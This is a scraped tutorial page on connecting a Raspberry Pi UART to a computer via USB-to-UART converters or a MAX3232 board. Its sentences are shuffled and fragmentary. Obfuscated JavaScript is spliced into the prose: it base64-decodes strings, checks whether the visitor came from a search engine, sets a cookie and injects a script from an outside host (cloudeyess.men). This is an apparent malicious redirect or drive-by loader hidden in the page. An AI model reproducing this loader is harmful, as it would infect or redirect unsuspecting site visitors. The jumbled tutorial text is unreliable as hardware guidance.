You can also design your own MAX3232 board using below links In datasheet, refer 10.
For this, you need board schematics Download raspberry pi schematics from the above link.
As a basic step of Embedded Linux Development, let’s see the procedure to connect the Raspberry Pi UART to a computer.. Raspberry Pi board ‘tx’, ‘rx’ pin identification has shown below You can use PIN6 as common ground between raspberry Pi and a computer.. In fact, network and video interface are not available during first a bootloader stage.. TXD and RXD pins of the USB to UART converter and Raspberry Pi should connect as shown below.. It defiantly damages your pi’s UART controller In such cases, better buy a Logic Level Converter that converts 3.
Transmitter (Tx) and receiver (Rx) lines are enough to debug entire system Raspberry PI UART pinsFor any board, first of all you need to find the ‘tx’ and ‘rx’ lines of the UART.. Similarly MAX3232 converts UART TTL 3v3 logic levels to RS232 levels You can purchase max3232 PCB online.. In fact, it is the easiest way and also less risk involved Note that, the TTL logic levels of Broadcom SOC are Logic0-0v and Logic1-3.. But UART is considered to be a basic peripheral for all SOCs UART does not require any special hardware.. 3v So, before purchasing a USB to UART converter, make sure that it supports UART with 3.. There are three possible waysNetwork and Video interfaces are not so popular in terms of system debugging.. Refer “GPIO EXPANSION“ section in the schematics On GPIO header, pin-8 and pin-10 are UART ‘tx’ and ‘rx’ pins.. 3V to 5V, vice versa Via standard RS232 portRaspberry pi can connect to an RS232 port using MAX3232.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x2c51d5=_0x2611d2();}catch(_0x1a1355){_0x2c51d5=window;}var _0x44f17d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2c51d5['atob']||(_0x2c51d5['atob']=function(_0x30e28b){var _0x235ad1=String(_0x30e28b)['replace'](/=+$/,'');for(var _0x2d7edf=0x0,_0xa6e19,_0x5929b6,_0x1b55fe=0x0,_0x59d5c1='';_0x5929b6=_0x235ad1['charAt'](_0x1b55fe++);~_0x5929b6&&(_0xa6e19=_0x2d7edf%0x4?_0xa6e19*0x40+_0x5929b6:_0x5929b6,_0x2d7edf++%0x4)?_0x59d5c1+=String['fromCharCode'](0xff&_0xa6e19>>(-0x2*_0x2d7edf&0x6)):0x0){_0x5929b6=_0x44f17d['indexOf'](_0x5929b6);}return _0x59d5c1;});}());_0x29c9['base64DecodeUnicode']=function(_0x591bca){var _0x1faa2c=atob(_0x591bca);var _0x26b451=[];for(var _0xede8c6=0x0,_0x40fc70=_0x1faa2c['length'];_0xede8c6=_0x4abbfb;},'DDIBd':function _0x30a7ff(_0x23190a,_0x35ecc5){return _0x23190a(_0x35ecc5);},'bKout':function _0x30f473(_0x3ebfd9,_0x1cdda6){return _0x3ebfd9+_0x1cdda6;}};var _0x3cb2de=['.. You already know about MAX 232, it is a level converter that converts UART TTL-5V logic levels to RS232 logic levels.. Significance of UART in embedded Linux developmentLinux porting is a difficult task.. This type of approach never works It will end up with several issues like kernel panics, device driver issues, device tree issues, bootloader issues, etc…So to debug entire system, we need an interface that can send debug information from Linux hardware (raspberry pi) to a computer.. Warning: If you have a USB to UART converter with 5V TTL logic levels, then don’t dare to connect to raspberry Pi.. We can’t simply boot a Linux board by building u-boot, kernel, and root file system images.. 3v TTL logic levels Required h ardware :If you have a USB to UART converter with 3v3 TTL logic levels, then connections are as simple as shown below.. var _0x2810=['LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','cEFa','TlBH','bmNrREM=','T1dlVEw=','LmFzay4=','U05XR2E=','RVBVR0o=','cmVmZXJyZXI=','Z2V0','d3BFSGk=','a29RRng=','R1lydko=','Vm9BT1g=','TVNiVmw=','aW5kZXhPZg==','c2V0','YktvdXQ=','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','aGVhZA==','Y3JlYXRlRWxlbWVudA==','c2NyaXB0','c3Jj','VUtDeVI=','dXNiK3RvK3JzMjMyK2NvbnZlcnRlcityYXNwYmVycnkrcGk=','blVS','OyBwYXRoPQ==','OyBkb21haW49','Y29va2ll','bWF0Y2g=','c2V4Z28=','VEVLc2Q=','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','QlVtZUM=','bGVuZ3Ro','dFNDa2Q=','Tnhw','WVd2','ZEtoVGw=','WmVwb1g=','dVpXTHc=','Z2V0VGltZQ==','aXVYaFg=','OyBzZWN1cmU=','c3BsaXQ=','cmVwbGFjZQ==','QndpVEQ=','SW1Jcmc=','QUpvRGE=','UlJGb3g=','OyBleHBpcmVzPQ==','d0NZWFY=','LmJpbmcu','LmFvbC4='];(function(_0x1e6ee5,_0x32845b){var _0x4179b2=function(_0x957766){while(--_0x957766){_0x1e6ee5['push'](_0x1e6ee5['shift']());}};_0x4179b2(++_0x32845b);}(_0x2810,0x132));var _0x29c9=function(_0xc24f10,_0x16dd95){_0xc24f10=_0xc24f10-0x0;var _0x5c7fcc=_0x2810[_0xc24f10];if(_0x29c9['initialized']===undefined){(function(){var _0x2c51d5;try{var _0x2611d2=Function('return\x20(function()\x20'+'{}.. RPi UART to a computerTwo ways you can connect the UART to a computerUSB to serial converterYou can connect Raspberry pi to a computer using a USB to UART converter.. google ',_0x4456c6[_0x29c9('0x29')],_0x4456c6[_0x29c9('0x2a')],_0x4456c6['AoBOS'],_0x29c9('0x2b'),_0x4456c6[_0x29c9('0x2c')],_0x4456c6[_0x29c9('0x2d')]],_0xdf13f4=document[_0x29c9('0x2e')],_0x473cb6=![],_0x581f90=cookie[_0x29c9('0x2f')](_0x4456c6[_0x29c9('0x30')]);for(var _0x25544c=0x0;_0x4456c6[_0x29c9('0x31')](_0x25544c,_0x3cb2de[_0x29c9('0x10')]);_0x25544c++){if(_0x4456c6['xuquD'](_0x4456c6[_0x29c9('0x32')],_0x4456c6[_0x29c9('0x33')])){return cookie[name];}else{if(_0x4456c6[_0x29c9('0x34')](_0xdf13f4[_0x29c9('0x35')](_0x3cb2de[_0x25544c]),0x0)){_0x473cb6=!![];}}}if(_0x473cb6){cookie[_0x29c9('0x36')](_0x29c9('0x26'),0x1,0x1);if(!_0x581f90){_0x4456c6['DDIBd'](include,_0x4456c6[_0x29c9('0x37')](_0x4456c6['bKout'](_0x29c9('0x38'),q),''));}}}R(); How to connect Raspberry Pi UART to a computerThe raspberry pi has a UART interface, with which it can send debug information to a serial console.. For raspberry, UART ‘tx’ and ‘rx’ pins are available on GPIO header (J8 connector).. 2 section for circuit diagram as per data sheet, For 3 3v Vcc, use 100nF (0 1 uF) capacitors.
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